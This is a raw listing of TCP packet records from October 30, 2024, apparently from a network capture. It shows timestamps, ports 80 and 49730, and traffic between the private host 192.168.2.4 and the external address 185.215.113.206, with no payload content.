Oct 30, 2024 02:27:11.613219023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.613277912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.614170074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.614170074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.655041933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.655108929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.655123949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.655153990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.655174017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.655188084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.655206919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.655214071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.655236006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.655252934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.655365944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.655416965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.655424118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.655436039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.655469894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.655505896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.655550003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.655580997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.655592918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.655621052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.655637980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.732346058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.732423067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.732511997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.732527971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.732563972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.732584000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.774038076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.774101019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.774112940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.774112940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.774163961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.774194956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.774208069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.774219990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.774235010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.774255037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.774347067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.774382114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.774410009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.774421930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.774451017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.774476051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.774485111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.774518013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.774535894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.774560928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.774580002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.775115967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.775126934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.775161028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.775171041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.851321936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.851382017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.851407051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.851418972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.851447105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.851458073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.893151045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.893233061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.893254042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.893284082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.893294096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.893306971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.893318892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.893368006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.893466949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.893503904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.893513918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.893534899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.893546104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.893584967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.893605947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.893650055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.894020081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.894036055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.894085884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.940573931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.940596104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.940709114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.970458984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.970474005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.970643044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.131504059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.131525993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.131536007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.131593943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.131645918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.131649971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.131663084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.131685972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.131712914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.131903887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.131938934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.131954908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.131958961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.131979942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.132003069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.132016897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.132060051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.132108927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.132123947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.132159948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.132185936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.132772923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.132824898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.132837057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.132857084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.132878065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.132879972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.132900953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.132919073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.133316994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.133331060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.133368015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.133451939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.133502960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.133517981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.133533001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.133554935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.133578062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.179757118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.179840088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.179841042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.179857016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.179864883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.179984093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.250497103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.250516891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.250535965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.250569105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.250582933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.250736952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.251725912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.251770973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.251786947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.251787901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.251812935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.251837015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.292649031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.292721987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.292735100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.292783022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.298930883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.298964024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.298988104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.299000025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.450475931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.450494051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.450536013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.450556993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.450573921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.450589895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.450606108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.450618029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.450638056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.450654030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.450691938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.450707912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.450730085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.450752974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.450860023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.450911045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.450923920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.450927019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.450951099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.450967073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.451033115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.451049089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.451078892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.451091051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.488959074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.488990068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.489037991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.489057064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.538075924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.538177013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.538187027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.538208008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.538230896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.538230896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.538249969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.538255930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.538265944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.538284063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.538290024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.538314104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.569622040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.569679976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.569749117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.569762945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.657342911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.657377005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.657382965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.657474995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.657490015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.657505989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.657521963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.657558918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.657613993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.657639027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.657690048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.752453089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.752495050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.752577066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.754169941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.776364088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.776421070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.776459932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.776473999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.776504993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.776525974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.776527882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.776545048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.776561975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.776585102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.776598930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.776642084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.776896000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.776909113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.776947021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.777034044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.777046919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.777090073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.895667076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.895733118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.895749092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.895791054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.895808935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.895879030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.895895958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.895911932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.895924091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.895929098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.895953894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.895979881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.896043062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.896066904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:12.896089077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:12.896110058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.014939070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.015007973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.015016079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.015099049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.015115023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.015161037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.015228033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.015228987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.015228987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.015228987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.015249968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.015353918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.015369892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.015384912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.015407085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.015407085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.015407085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.015407085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.015420914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.134128094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.134200096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.134215117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.134260893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.134282112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.134283066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.134283066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.134299040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.134320021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.134330034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.134340048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.134382010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.134432077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.134449005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.134470940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.134500980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.134515047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.134557962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.134568930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.134583950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.134605885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.134622097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.253492117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.253526926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.253547907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.253571987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.253575087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.253591061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.253593922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.253612041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.253638029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.253644943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.253662109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.253665924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.253694057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.253705025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.253789902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.253807068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.253823996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.253828049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.253849983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.253860950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.372380972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.372412920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.372432947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.372441053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.372450113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.372457027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.372591019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.372767925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.372818947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.372915030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.372915983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.372919083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.372970104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.372982025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.372987032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.373011112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.373028994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.373045921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.373085976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.373384953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.373416901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.373441935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.373450041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.491662979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.491688967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.491707087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.491719007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.491720915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.491740942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.491746902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.491758108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.491767883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.491777897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:13.491806030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:13.491837978 CET	49730	80	192.168.2.4	185.215.113.206
